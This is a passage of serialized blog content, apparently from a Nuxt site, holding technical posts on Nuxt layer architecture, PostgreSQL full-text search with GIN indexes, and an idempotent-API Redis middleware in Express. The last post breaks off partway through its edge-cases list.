│\n   └── projects\u002F              # Core product domain\n",[23,5872,5870],{"__ignoreMap":21},[193,5874,5876,5877],{"id":5875},"enabling-layers-in-nuxtconfigts","Enabling Layers in ",[23,5878,5879],{},"nuxt.config.ts",[12,5881,5882,5883,76],{},"Nuxt has native support for this through ",[49,5884,5885],{},"Nuxt Layers (Extends)",[16,5887,5889],{"className":366,"code":5888,"language":368,"meta":21,"style":21},"\u002F\u002F nuxt.config.ts\nexport default defineNuxtConfig({\n  extends: [\n    '.\u002Flayers\u002Fcore',\n    '.\u002Flayers\u002Fauth',\n    '.\u002Flayers\u002Fbilling',\n    '.\u002Flayers\u002Fprojects',\n  ],\n})\n",[23,5890,5891,5895,5905,5910,5917,5924,5931,5938,5943],{"__ignoreMap":21},[26,5892,5893],{"class":28,"line":29},[26,5894,1215],{"class":490},[26,5896,5897,5899,5901,5903],{"class":28,"line":35},[26,5898,1220],{"class":375},[26,5900,1223],{"class":375},[26,5902,1226],{"class":446},[26,5904,777],{"class":379},[26,5906,5907],{"class":28,"line":41},[26,5908,5909],{"class":379},"  extends: [\n",[26,5911,5912,5915],{"class":28,"line":170},[26,5913,5914],{"class":386},"    '.\u002Flayers\u002Fcore'",[26,5916,547],{"class":379},[26,5918,5919,5922],{"class":28,"line":176},[26,5920,5921],{"class":386},"    '.\u002Flayers\u002Fauth'",[26,5923,547],{"class":379},[26,5925,5926,5929],{"class":28,"line":182},[26,5927,5928],{"class":386},"    '.\u002Flayers\u002Fbilling'",[26,5930,547],{"class":379},[26,5932,5933,5936],{"class":28,"line":188},[26,5934,5935],{"class":386},"    '.\u002Flayers\u002Fprojects'",[26,5937,547],{"class":379},[26,5939,5940],{"class":28,"line":470},[26,5941,5942],{"class":379},"  ],\n",[26,5944,5945],{"class":28,"line":476},[26,5946,663],{"class":379},[61,5948],{},[64,5950,5952],{"id":5951},"_3-strict-dependency-rules-between-domains","3. Strict Dependency Rules Between Domains",[12,5954,5955],{},"To avoid spaghetti dependencies:",[2488,5957,5958,5970],{},[201,5959,5960,5966,5967,5969],{},[49,5961,5962,5963],{},"Feature layers can import from ",[23,5964,5965],{},"core",", but ",[23,5968,5965],{}," can NEVER import from a feature layer.",[201,5971,5972,5975,5976,5979,5980,5983],{},[49,5973,5974],{},"Feature layers cannot directly cross-import each other's components",". If the ",[23,5977,5978],{},"projects"," domain needs to know if the user has an active subscription, it asks a centralized shared store or event bus (",[23,5981,5982],{},"useAuth().isSubscribed","), rather than directly mounting a Billing component.",[61,5985],{},[64,5987,5989],{"id":5988},"_4-colocating-server-apis-with-their-domain","4. Colocating Server APIs with Their Domain",[12,5991,5992],{},"In Nuxt 4, you can colocate your server endpoints directly inside the corresponding domain layer:",[16,5994,5997],{"className":5995,"code":5996,"language":349,"meta":21},[347],"📁 layers\u002Fbilling\u002Fserver\u002Fapi\u002F\n   ├── checkout.post.ts\n   ├── webhook.post.ts\n   └── invoices.get.ts\n",[23,5998,5996],{"__ignoreMap":21},[12,6000,6001],{},"This keeps the full vertical slice of a feature (UI, state, database query, API route) together in a single self-contained directory. If you ever retire the billing system or extract it into a standalone microservice, you can isolate it cleanly.",[274,6003,6004],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":21,"searchDepth":35,"depth":35,"links":6006},[6007,6008,6012,6013],{"id":5834,"depth":35,"text":5835},{"id":5859,"depth":35,"text":5860,"children":6009},[6010],{"id":5875,"depth":41,"text":6011},"Enabling Layers in nuxt.config.ts",{"id":5951,"depth":35,"text":5952},{"id":5988,"depth":35,"text":5989},"2026-09-02","Moving away from the default flat components\u002F and composables\u002F directories toward domain-driven, feature-sliced architecture that stays maintainable when a project hits 100+ pages.",{},"\u002Fblog\u002Fen\u002Flarge-nuxt-vue3-architecture",{"title":5791,"description":6015},"large-nuxt-vue3-architecture","blog\u002Fen\u002Flarge-nuxt-vue3-architecture",[1802,1514,4514,368,303],"o1GCZ2LerPAcO7Pzc7WpuhGx9i5AyLadD1fxm_JcEXU",{"id":6024,"title":6025,"author":7,"body":6026,"date":6379,"description":6380,"extension":290,"featured":291,"image":292,"meta":6381,"navigation":294,"path":6382,"readingTime":182,"seo":6383,"slug":6384,"stem":6385,"tags":6386,"__hash__":6390},"blog\u002Fblog\u002Fen\u002Fpostgres-full-text-search.md","PostgreSQL Full-Text Search on a Budget: Why You Probably Don't Need Elasticsearch",{"type":9,"value":6027,"toc":6368},[6028,6038,6041,6048,6050,6058,6064,6081,6087,6121,6123,6134,6146,6166,6170,6173,6213,6232,6234,6238,6245,6254,6256,6260,6266,6311,6317,6343,6345,6349,6352,6355,6366],[12,6029,6030,6031,6034,6035],{},"When founders and tech leads say ",[96,6032,6033],{},"\"We need search for our SaaS catalog\"",", the default answer is often: ",[96,6036,6037],{},"\"Let's spin up an Elasticsearch cluster or pay for Algolia.\"",[12,6039,6040],{},"Two months later, they are paying an extra $150\u002Fmonth for cloud RAM, debugging data desynchronization between PostgreSQL and Elasticsearch, and writing complex background re-indexing workers.",[12,6042,6043,6044,6047],{},"Unless you are searching across 50 million documents, ",[49,6045,6046],{},"PostgreSQL already has an enterprise-grade full-text search engine built directly into your database",". Here is how to configure it in 10 minutes.",[61,6049],{},[64,6051,6053,6054,6057],{"id":6052},"_1-why-not-just-where-title-ilike-keyword","1. Why Not Just ",[23,6055,6056],{},"WHERE title ILIKE '%keyword%'","?",[12,6059,6060,6061,76],{},"The naive approach is ",[23,6062,6063],{},"ILIKE",[16,6065,6069],{"className":6066,"code":6067,"language":6068,"meta":21,"style":21},"language-sql shiki shiki-themes github-light github-dark","-- ❌ Forces a full table scan and does not understand language morphology\nSELECT * FROM articles WHERE title ILIKE '%running%';\n","sql",[23,6070,6071,6076],{"__ignoreMap":21},[26,6072,6073],{"class":28,"line":29},[26,6074,6075],{},"-- ❌ Forces a full table scan and does not understand language morphology\n",[26,6077,6078],{"class":28,"line":35},[26,6079,6080],{},"SELECT * FROM articles WHERE title ILIKE '%running%';\n",[12,6082,6083,6084,6086],{},"Why ",[23,6085,6063],{}," fails at scale:",[2488,6088,6089,6099,6115],{},[201,6090,6091,6094,6095,6098],{},[49,6092,6093],{},"Zero Indexing Support",": A leading wildcard (",[23,6096,6097],{},"%word",") cannot use standard B-Tree indexes.",[201,6100,6101,6104,6105,6108,6109,263,6112,113],{},[49,6102,6103],{},"No Stemming",": Searching for ",[23,6106,6107],{},"\"run\""," will never match ",[23,6110,6111],{},"\"running\"",[23,6113,6114],{},"\"ran\"",[201,6116,6117,6120],{},[49,6118,6119],{},"No Relevance Ranking",": A title with 5 keyword matches appears in the exact same priority as an offhand mention.",[61,6122],{},[64,6124,6126,6127,6130,6131],{"id":6125},"_2-the-native-solution-tsvector-tsquery","2. The Native Solution: ",[23,6128,6129],{},"tsvector"," + ",[23,6132,6133],{},"tsquery",[12,6135,6136,6137,6141,6142,113],{},"PostgreSQL converts human text into linguistic tokens called ",[49,6138,6139],{},[23,6140,6129],{}," (lexemes) and matches them against search expressions with ",[49,6143,6144],{},[23,6145,6133],{},[16,6147,6149],{"className":6066,"code":6148,"language":6068,"meta":21,"style":21},"-- Notice how Postgres automatically stems words:\nSELECT to_tsvector('english', 'The engineers are deploying Docker containers rapidly');\n-- Result: 'rapid':6 'contain':5 'deploy':4 'engin':2 'docker':4\n",[23,6150,6151,6156,6161],{"__ignoreMap":21},[26,6152,6153],{"class":28,"line":29},[26,6154,6155],{},"-- Notice how Postgres automatically stems words:\n",[26,6157,6158],{"class":28,"line":35},[26,6159,6160],{},"SELECT to_tsvector('english', 'The engineers are deploying Docker containers rapidly');\n",[26,6162,6163],{"class":28,"line":41},[26,6164,6165],{},"-- Result: 'rapid':6 'contain':5 'deploy':4 'engin':2 'docker':4\n",[193,6167,6169],{"id":6168},"adding-full-text-search-to-your-table","Adding Full-Text Search to Your Table",[12,6171,6172],{},"Create a generated column that automatically updates whenever the title or body changes:",[16,6174,6176],{"className":6066,"code":6175,"language":6068,"meta":21,"style":21},"ALTER TABLE articles\nADD COLUMN search_vector tsvector\nGENERATED ALWAYS AS (\n  setweight(to_tsvector('english', coalesce(title, '')), 'A') ||\n  setweight(to_tsvector('english', coalesce(description, '')), 'B') ||\n  setweight(to_tsvector('english', coalesce(content, '')), 'C')\n) STORED;\n",[23,6177,6178,6183,6188,6193,6198,6203,6208],{"__ignoreMap":21},[26,6179,6180],{"class":28,"line":29},[26,6181,6182],{},"ALTER TABLE articles\n",[26,6184,6185],{"class":28,"line":35},[26,6186,6187],{},"ADD COLUMN search_vector tsvector\n",[26,6189,6190],{"class":28,"line":41},[26,6191,6192],{},"GENERATED ALWAYS AS (\n",[26,6194,6195],{"class":28,"line":170},[26,6196,6197],{},"  setweight(to_tsvector('english', coalesce(title, '')), 'A') ||\n",[26,6199,6200],{"class":28,"line":176},[26,6201,6202],{},"  setweight(to_tsvector('english', coalesce(description, '')), 'B') ||\n",[26,6204,6205],{"class":28,"line":182},[26,6206,6207],{},"  setweight(to_tsvector('english', coalesce(content, '')), 'C')\n",[26,6209,6210],{"class":28,"line":188},[26,6211,6212],{},") STORED;\n",[6214,6215,6216],"blockquote",{},[12,6217,6218,1011,6221,6224,6225,6228,6229,3932],{},[49,6219,6220],{},"Pro Tip",[23,6222,6223],{},"setweight(..., 'A')"," gives the title the highest relevance score, followed by the description (",[23,6226,6227],{},"'B'",") and the content (",[23,6230,6231],{},"'C'",[61,6233],{},[64,6235,6237],{"id":6236},"_3-high-speed-gin-indexing","3. High-Speed GIN Indexing",[12,6239,6240,6241,6244],{},"Without an index, full-text search still has to parse every row. A ",[49,6242,6243],{},"Generalized Inverted Index (GIN)"," maps every single lexeme directly to the rows that contain it:",[16,6246,6248],{"className":6066,"code":6247,"language":6068,"meta":21,"style":21},"CREATE INDEX idx_articles_search_vector ON articles USING GIN (search_vector);\n",[23,6249,6250],{"__ignoreMap":21},[26,6251,6252],{"class":28,"line":29},[26,6253,6247],{},[61,6255],{},[64,6257,6259],{"id":6258},"_4-querying-with-relevance-ranking","4. Querying with Relevance Ranking",[12,6261,6262,6263,76],{},"Now you can search and sort by relevance score in under ",[49,6264,6265],{},"2 milliseconds",[16,6267,6269],{"className":6066,"code":6268,"language":6068,"meta":21,"style":21},"SELECT\n  id,\n  title,\n  ts_rank(search_vector, websearch_to_tsquery('english', 'docker deployment')) AS score\nFROM articles\nWHERE search_vector @@ websearch_to_tsquery('english', 'docker deployment')\nORDER BY score DESC\nLIMIT 10;\n",[23,6270,6271,6276,6281,6286,6291,6296,6301,6306],{"__ignoreMap":21},[26,6272,6273],{"class":28,"line":29},[26,6274,6275],{},"SELECT\n",[26,6277,6278],{"class":28,"line":35},[26,6279,6280],{},"  id,\n",[26,6282,6283],{"class":28,"line":41},[26,6284,6285],{},"  title,\n",[26,6287,6288],{"class":28,"line":170},[26,6289,6290],{},"  ts_rank(search_vector, websearch_to_tsquery('english', 'docker deployment')) AS score\n",[26,6292,6293],{"class":28,"line":176},[26,6294,6295],{},"FROM articles\n",[26,6297,6298],{"class":28,"line":182},[26,6299,6300],{},"WHERE search_vector @@ websearch_to_tsquery('english', 'docker deployment')\n",[26,6302,6303],{"class":28,"line":188},[26,6304,6305],{},"ORDER BY score DESC\n",[26,6307,6308],{"class":28,"line":470},[26,6309,6310],{},"LIMIT 10;\n",[12,6312,6313,6316],{},[23,6314,6315],{},"websearch_to_tsquery"," supports Google-style query syntax out of the box:",[198,6318,6319,6325,6331,6337],{},[201,6320,6321,6324],{},[23,6322,6323],{},"docker deployment"," (AND logic)",[201,6326,6327,6330],{},[23,6328,6329],{},"\"zero downtime\""," (exact phrase matching)",[201,6332,6333,6336],{},[23,6334,6335],{},"docker OR kubernetes"," (OR logic)",[201,6338,6339,6342],{},[23,6340,6341],{},"-legacy"," (exclusion)",[61,6344],{},[64,6346,6348],{"id":6347},"when-should-you-migrate-to-elasticsearch","When SHOULD You Migrate to Elasticsearch?",[12,6350,6351],{},"Postgres full-text search handles 500,000+ products and articles effortlessly with sub-5ms latency on a single $20 server.",[12,6353,6354],{},"Only consider external search clusters if:",[2488,6356,6357,6360,6363],{},[201,6358,6359],{},"You exceed 10 million documents.",[201,6361,6362],{},"You need complex multi-language phonetic fuzzy matching across languages with distinct scripts.",[201,6364,6365],{},"You need real-time analytics aggregation over billions of log entries.",[274,6367,276],{},{"title":21,"searchDepth":35,"depth":35,"links":6369},[6370,6372,6376,6377,6378],{"id":6052,"depth":35,"text":6371},"1. Why Not Just WHERE title ILIKE '%keyword%'?",{"id":6125,"depth":35,"text":6373,"children":6374},"2. The Native Solution: tsvector + tsquery",[6375],{"id":6168,"depth":41,"text":6169},{"id":6236,"depth":35,"text":6237},{"id":6258,"depth":35,"text":6259},{"id":6347,"depth":35,"text":6348},"2026-08-30","Demonstrating how native PostgreSQL (tsvector, tsquery, GIN indexes) can handle rich typo-tolerant search for products or articles without the massive RAM and hosting costs of Elasticsearch.",{},"\u002Fblog\u002Fen\u002Fpostgres-full-text-search",{"title":6025,"description":6380},"postgres-full-text-search","blog\u002Fen\u002Fpostgres-full-text-search",[6387,6388,6389,3747,3748],"postgresql","search","database","xWoG9-Ncc2xSaRt3Pl4eUc6kk12alENmSXoZyws37sk",{"id":6392,"title":6393,"author":7,"body":6394,"date":7125,"description":7126,"extension":290,"featured":291,"image":292,"meta":7127,"navigation":294,"path":7128,"readingTime":182,"seo":7129,"slug":7130,"stem":7131,"tags":7132,"__hash__":7133},"blog\u002Fblog\u002Fen\u002Fdesigning-idempotent-apis.md","Designing Idempotent APIs: How to Prevent Duplicate Payments & Orders",{"type":9,"value":6395,"toc":7119},[6396,6399,6402,6413,6415,6419,6426,6450,6457,6503,6505,6509,6512,6518,6520,6524,6527,7072,7074,7078,7117],[12,6397,6398],{},"A user clicks \"Pay $49.00\". Their mobile connection blips. The UI hangs for two seconds, so they click \"Pay\" again.",[12,6400,6401],{},"Without an idempotency layer, their card is charged twice, two identical orders are created in your database, and your support team spends hours issuing refunds.",[12,6403,6404,6405,6408,6409,6412],{},"In distributed systems, ",[49,6406,6407],{},"network timeouts are ambiguous",". Did the request fail before reaching the server, or did it succeed but the response was dropped on the wire? In this article, we'll design a production-grade idempotency layer using ",[23,6410,6411],{},"Idempotency-Key"," and Redis.",[61,6414],{},[64,6416,6418],{"id":6417},"_1-what-is-idempotency","1. What is Idempotency?",[12,6420,6421,6422,6425],{},"An operation is ",[49,6423,6424],{},"idempotent"," if applying it once produces the exact same outcome as applying it ten times.",[198,6427,6428,6440],{},[201,6429,6430,129,6433,129,6436,6439],{},[23,6431,6432],{},"GET",[23,6434,6435],{},"PUT",[23,6437,6438],{},"DELETE"," are inherently idempotent by HTTP specification.",[201,6441,6442,6445,6446,6449],{},[23,6443,6444],{},"POST"," is ",[49,6447,6448],{},"non-idempotent"," by default — each invocation creates a new resource.",[12,6451,6452,6453,6456],{},"To make ",[23,6454,6455],{},"POST \u002Fapi\u002Fcheckout"," idempotent, the client must send a unique identifier with the request:",[16,6458,6460],{"className":148,"code":6459,"language":150,"meta":21,"style":21},"POST \u002Fapi\u002Fcheckout HTTP\u002F1.1\nHost: api.yourapp.com\nIdempotency-Key: 9b1deb4d-3b7d-4bad-9bdd-2b0d7b3dcb6d\nContent-Type: application\u002Fjson\n\n{\n  \"cartId\": \"cart_1234\",\n  \"amount\": 4900\n}\n",[23,6461,6462,6467,6472,6477,6481,6485,6489,6494,6499],{"__ignoreMap":21},[26,6463,6464],{"class":28,"line":29},[26,6465,6466],{},"POST \u002Fapi\u002Fcheckout HTTP\u002F1.1\n",[26,6468,6469],{"class":28,"line":35},[26,6470,6471],{},"Host: api.yourapp.com\n",[26,6473,6474],{"class":28,"line":41},[26,6475,6476],{},"Idempotency-Key: 9b1deb4d-3b7d-4bad-9bdd-2b0d7b3dcb6d\n",[26,6478,6479],{"class":28,"line":170},[26,6480,3699],{},[26,6482,6483],{"class":28,"line":176},[26,6484,428],{"emptyLinePlaceholder":294},[26,6486,6487],{"class":28,"line":182},[26,6488,1003],{},[26,6490,6491],{"class":28,"line":188},[26,6492,6493],{},"  \"cartId\": \"cart_1234\",\n",[26,6495,6496],{"class":28,"line":470},[26,6497,6498],{},"  \"amount\": 4900\n",[26,6500,6501],{"class":28,"line":476},[26,6502,1067],{},[61,6504],{},[64,6506,6508],{"id":6507},"_2-the-idempotency-workflow-with-redis","2. The Idempotency Workflow with Redis",[12,6510,6511],{},"Here is the life cycle of an idempotent request:",[16,6513,6516],{"className":6514,"code":6515,"language":349,"meta":21},[347],"Client (Sends Idempotency-Key)\n   │\n   ▼\n[Redis Lock Check]\n   ├─► Key exists & Status is COMPLETED: Return cached response immediately (No duplicate work!)\n   ├─► Key exists & Status is PROCESSING: Return 409 Conflict (Concurrent in-flight duplicate)\n   └─► Key does NOT exist: Acquire lock with TTL (e.g. 120s) -> Execute transaction -> Store response in Redis\n",[23,6517,6515],{"__ignoreMap":21},[61,6519],{},[64,6521,6523],{"id":6522},"_3-implementation-express-nodejs-middleware","3. Implementation: Express \u002F Node.js Middleware",[12,6525,6526],{},"Here is the clean middleware implementation using Redis atomic primitives:",[16,6528,6530],{"className":366,"code":6529,"language":368,"meta":21,"style":21},"import { Request, Response, NextFunction } from 'express'\nimport Redis from 'ioredis'\n\nconst redis = new Redis(process.env.REDIS_URL!)\n\nexport async function idempotencyMiddleware(req: Request, res: Response, next: NextFunction) {\n  const idempotencyKey = req.header('Idempotency-Key')\n  if (!idempotencyKey) return next()\n\n  const redisKey = `idempotency:${req.user?.id || 'anon'}:${idempotencyKey}`\n\n  \u002F\u002F Atomic SET with NX (Only set if Not eXists) and 120-second TTL\n  const acquired = await redis.set(redisKey, JSON.stringify({ status: 'PROCESSING' }), 'EX', 120, 'NX')\n\n  if (!acquired) {\n    const cachedData = await redis.get(redisKey)\n    if (!cachedData) return res.status(500).json({ error: 'Idempotency state corrupted' })\n\n    const { status, statusCode, body } = JSON.parse(cachedData)\n\n    if (status === 'PROCESSING') {\n      return res.status(409).json({ error: 'A request with this idempotency key is already in progress.' })\n    }\n\n    \u002F\u002F Replay original response without re-executing charges\n    return res.status(statusCode).json(body)\n  }\n\n  \u002F\u002F Intercept the response to cache the result once completed\n  const originalJson = res.json.bind(res)\n  res.json = (body: any) => {\n    redis.set(\n      redisKey,\n      JSON.stringify({ status: 'COMPLETED', statusCode: res.statusCode, body }),\n      'EX',\n      86400 \u002F\u002F Keep cached response for 24 hours\n    )\n    return originalJson(body)\n  }\n\n  next()\n}\n",[23,6531,6532,6544,6554,6558,6578,6582,6625,6647,6666,6670,6704,6708,6713,6761,6765,6776,6795,6831,6835,6868,6872,6886,6911,6915,6919,6924,6940,6944,6948,6953,6971,6994,7003,7008,7025,7032,7040,7045,7053,7057,7061,7068],{"__ignoreMap":21},[26,6533,6534,6536,6539,6541],{"class":28,"line":29},[26,6535,376],{"class":375},[26,6537,6538],{"class":379}," { Request, Response, NextFunction } ",[26,6540,383],{"class":375},[26,6542,6543],{"class":386}," 'express'\n",[26,6545,6546,6548,6550,6552],{"class":28,"line":35},[26,6547,376],{"class":375},[26,6549,3210],{"class":379},[26,6551,383],{"class":375},[26,6553,3215],{"class":386},[26,6555,6556],{"class":28,"line":41},[26,6557,428],{"emptyLinePlaceholder":294},[26,6559,6560,6562,6564,6566,6568,6570,6572,6574,6576],{"class":28,"line":170},[26,6561,433],{"class":375},[26,6563,3226],{"class":436},[26,6565,440],{"class":375},[26,6567,443],{"class":375},[26,6569,3233],{"class":446},[26,6571,3236],{"class":379},[26,6573,3239],{"class":436},[26,6575,3242],{"class":375},[26,6577,479],{"class":379},[26,6579,6580],{"class":28,"line":176},[26,6581,428],{"emptyLinePlaceholder":294},[26,6583,6584,6586,6588,6590,6593,6595,6598,6600,6603,6605,6608,6610,6613,6615,6618,6620,6623],{"class":28,"line":182},[26,6585,1220],{"class":375},[26,6587,3255],{"class":375},[26,6589,2069],{"class":375},[26,6591,6592],{"class":446}," idempotencyMiddleware",[26,6594,892],{"class":379},[26,6596,6597],{"class":692},"req",[26,6599,76],{"class":375},[26,6601,6602],{"class":446}," Request",[26,6604,129],{"class":379},[26,6606,6607],{"class":692},"res",[26,6609,76],{"class":375},[26,6611,6612],{"class":446}," Response",[26,6614,129],{"class":379},[26,6616,6617],{"class":692},"next",[26,6619,76],{"class":375},[26,6621,6622],{"class":446}," NextFunction",[26,6624,718],{"class":379},[26,6626,6627,6629,6632,6634,6637,6640,6642,6645],{"class":28,"line":188},[26,6628,2080],{"class":375},[26,6630,6631],{"class":436}," idempotencyKey",[26,6633,440],{"class":375},[26,6635,6636],{"class":379}," req.",[26,6638,6639],{"class":446},"header",[26,6641,892],{"class":379},[26,6643,6644],{"class":386},"'Idempotency-Key'",[26,6646,479],{"class":379},[26,6648,6649,6651,6653,6655,6658,6661,6664],{"class":28,"line":470},[26,6650,706],{"class":375},[26,6652,689],{"class":379},[26,6654,3242],{"class":375},[26,6656,6657],{"class":379},"idempotencyKey) ",[26,6659,6660],{"class":375},"return",[26,6662,6663],{"class":446}," next",[26,6665,946],{"class":379},[26,6667,6668],{"class":28,"line":476},[26,6669,428],{"emptyLinePlaceholder":294},[26,6671,6672,6674,6677,6679,6682,6684,6686,6688,6691,6694,6697,6700,6702],{"class":28,"line":482},[26,6673,2080],{"class":375},[26,6675,6676],{"class":436}," redisKey",[26,6678,440],{"class":375},[26,6680,6681],{"class":386}," `idempotency:${",[26,6683,6597],{"class":379},[26,6685,113],{"class":386},[26,6687,1881],{"class":379},[26,6689,6690],{"class":386},"?.",[26,6692,6693],{"class":379},"id",[26,6695,6696],{"class":375}," ||",[26,6698,6699],{"class":386}," 'anon'}:${",[26,6701,4477],{"class":379},[26,6703,3351],{"class":386},[26,6705,6706],{"class":28,"line":487},[26,6707,428],{"emptyLinePlaceholder":294},[26,6709,6710],{"class":28,"line":494},[26,6711,6712],{"class":490},"  \u002F\u002F Atomic SET with NX (Only set if Not eXists) and 120-second TTL\n",[26,6714,6715,6717,6720,6722,6724,6726,6728,6731,6733,6735,6737,6740,6743,6746,6749,6751,6754,6756,6759],{"class":28,"line":518},[26,6716,2080],{"class":375},[26,6718,6719],{"class":436}," acquired",[26,6721,440],{"class":375},[26,6723,768],{"class":375},[26,6725,3372],{"class":379},[26,6727,4776],{"class":446},[26,6729,6730],{"class":379},"(redisKey, ",[26,6732,833],{"class":436},[26,6734,113],{"class":379},[26,6736,838],{"class":446},[26,6738,6739],{"class":379},"({ status: ",[26,6741,6742],{"class":386},"'PROCESSING'",[26,6744,6745],{"class":379}," }), ",[26,6747,6748],{"class":386},"'EX'",[26,6750,129],{"class":379},[26,6752,6753],{"class":436},"120",[26,6755,129],{"class":379},[26,6757,6758],{"class":386},"'NX'",[26,6760,479],{"class":379},[26,6762,6763],{"class":28,"line":526},[26,6764,428],{"emptyLinePlaceholder":294},[26,6766,6767,6769,6771,6773],{"class":28,"line":532},[26,6768,706],{"class":375},[26,6770,689],{"class":379},[26,6772,3242],{"class":375},[26,6774,6775],{"class":379},"acquired) {\n",[26,6777,6778,6780,6783,6785,6787,6789,6792],{"class":28,"line":538},[26,6779,724],{"class":375},[26,6781,6782],{"class":436}," cachedData",[26,6784,440],{"class":375},[26,6786,768],{"class":375},[26,6788,3372],{"class":379},[26,6790,6791],{"class":446},"get",[26,6793,6794],{"class":379},"(redisKey)\n",[26,6796,6797,6799,6801,6803,6806,6808,6811,6814,6816,6819,6821,6823,6826,6829],{"class":28,"line":550},[26,6798,4326],{"class":375},[26,6800,689],{"class":379},[26,6802,3242],{"class":375},[26,6804,6805],{"class":379},"cachedData) ",[26,6807,6660],{"class":375},[26,6809,6810],{"class":379}," res.",[26,6812,6813],{"class":446},"status",[26,6815,892],{"class":379},[26,6817,6818],{"class":436},"500",[26,6820,3932],{"class":379},[26,6822,996],{"class":446},[26,6824,6825],{"class":379},"({ error: ",[26,6827,6828],{"class":386},"'Idempotency state corrupted'",[26,6830,1867],{"class":379},[26,6832,6833],{"class":28,"line":561},[26,6834,428],{"emptyLinePlaceholder":294},[26,6836,6837,6839,6841,6843,6845,6848,6850,6853,6855,6857,6860,6862,6865],{"class":28,"line":567},[26,6838,724],{"class":375},[26,6840,727],{"class":379},[26,6842,6813],{"class":436},[26,6844,129],{"class":379},[26,6846,6847],{"class":436},"statusCode",[26,6849,129],{"class":379},[26,6851,6852],{"class":436},"body",[26,6854,743],{"class":379},[26,6856,746],{"class":375},[26,6858,6859],{"class":436}," JSON",[26,6861,113],{"class":379},[26,6863,6864],{"class":446},"parse",[26,6866,6867],{"class":379},"(cachedData)\n",[26,6869,6870],{"class":28,"line":578},[26,6871,428],{"emptyLinePlaceholder":294},[26,6873,6874,6876,6879,6881,6884],{"class":28,"line":584},[26,6875,4326],{"class":375},[26,6877,6878],{"class":379}," (status ",[26,6880,712],{"class":375},[26,6882,6883],{"class":386}," 'PROCESSING'",[26,6885,718],{"class":379},[26,6887,6888,6891,6893,6895,6897,6900,6902,6904,6906,6909],{"class":28,"line":601},[26,6889,6890],{"class":375},"      return",[26,6892,6810],{"class":379},[26,6894,6813],{"class":446},[26,6896,892],{"class":379},[26,6898,6899],{"class":436},"409",[26,6901,3932],{"class":379},[26,6903,996],{"class":446},[26,6905,6825],{"class":379},[26,6907,6908],{"class":386},"'A request with this idempotency key is already in progress.'",[26,6910,1867],{"class":379},[26,6912,6913],{"class":28,"line":618},[26,6914,868],{"class":379},[26,6916,6917],{"class":28,"line":624},[26,6918,428],{"emptyLinePlaceholder":294},[26,6920,6921],{"class":28,"line":636},[26,6922,6923],{"class":490},"    \u002F\u002F Replay original response without re-executing charges\n",[26,6925,6926,6928,6930,6932,6935,6937],{"class":28,"line":642},[26,6927,800],{"class":375},[26,6929,6810],{"class":379},[26,6931,6813],{"class":446},[26,6933,6934],{"class":379},"(statusCode).",[26,6936,996],{"class":446},[26,6938,6939],{"class":379},"(body)\n",[26,6941,6942],{"class":28,"line":648},[26,6943,657],{"class":379},[26,6945,6946],{"class":28,"line":654},[26,6947,428],{"emptyLinePlaceholder":294},[26,6949,6950],{"class":28,"line":660},[26,6951,6952],{"class":490},"  \u002F\u002F Intercept the response to cache the result once completed\n",[26,6954,6955,6957,6960,6962,6965,6968],{"class":28,"line":666},[26,6956,2080],{"class":375},[26,6958,6959],{"class":436}," originalJson",[26,6961,440],{"class":375},[26,6963,6964],{"class":379}," res.json.",[26,6966,6967],{"class":446},"bind",[26,6969,6970],{"class":379},"(res)\n",[26,6972,6973,6976,6978,6980,6982,6984,6986,6988,6990,6992],{"class":28,"line":671},[26,6974,6975],{"class":379},"  res.",[26,6977,996],{"class":446},[26,6979,440],{"class":375},[26,6981,689],{"class":379},[26,6983,6852],{"class":692},[26,6985,76],{"class":375},[26,6987,5608],{"class":436},[26,6989,696],{"class":379},[26,6991,512],{"class":375},[26,6993,515],{"class":379},[26,6995,6996,6999,7001],{"class":28,"line":677},[26,6997,6998],{"class":379},"    redis.",[26,7000,4776],{"class":446},[26,7002,450],{"class":379},[26,7004,7005],{"class":28,"line":703},[26,7006,7007],{"class":379},"      redisKey,\n",[26,7009,7010,7013,7015,7017,7019,7022],{"class":28,"line":721},[26,7011,7012],{"class":436},"      JSON",[26,7014,113],{"class":379},[26,7016,838],{"class":446},[26,7018,6739],{"class":379},[26,7020,7021],{"class":386},"'COMPLETED'",[26,7023,7024],{"class":379},", statusCode: res.statusCode, body }),\n",[26,7026,7027,7030],{"class":28,"line":758},[26,7028,7029],{"class":386},"      'EX'",[26,7031,547],{"class":379},[26,7033,7034,7037],{"class":28,"line":780},[26,7035,7036],{"class":436},"      86400",[26,7038,7039],{"class":490}," \u002F\u002F Keep cached response for 24 hours\n",[26,7041,7042],{"class":28,"line":786},[26,7043,7044],{"class":379},"    )\n",[26,7046,7047,7049,7051],{"class":28,"line":792},[26,7048,800],{"class":375},[26,7050,6959],{"class":446},[26,7052,6939],{"class":379},[26,7054,7055],{"class":28,"line":797},[26,7056,657],{"class":379},[26,7058,7059],{"class":28,"line":805},[26,7060,428],{"emptyLinePlaceholder":294},[26,7062,7063,7066],{"class":28,"line":811},[26,7064,7065],{"class":446},"  next",[26,7067,946],{"class":379},[26,7069,7070],{"class":28,"line":817},[26,7071,1067],{"class":379},[61,7073],{},[64,7075,7077],{"id":7076},"_4-crucial-edge-cases-to-handle","4. Crucial Edge Cases to Handle",[2488,7079,7080,7097,7107],{},[201,7081,7082,7085,7086,7088,7089,7092,7093,7096],{},[49,7083,7084],{},"Payload Mismatch",": If a client sends the 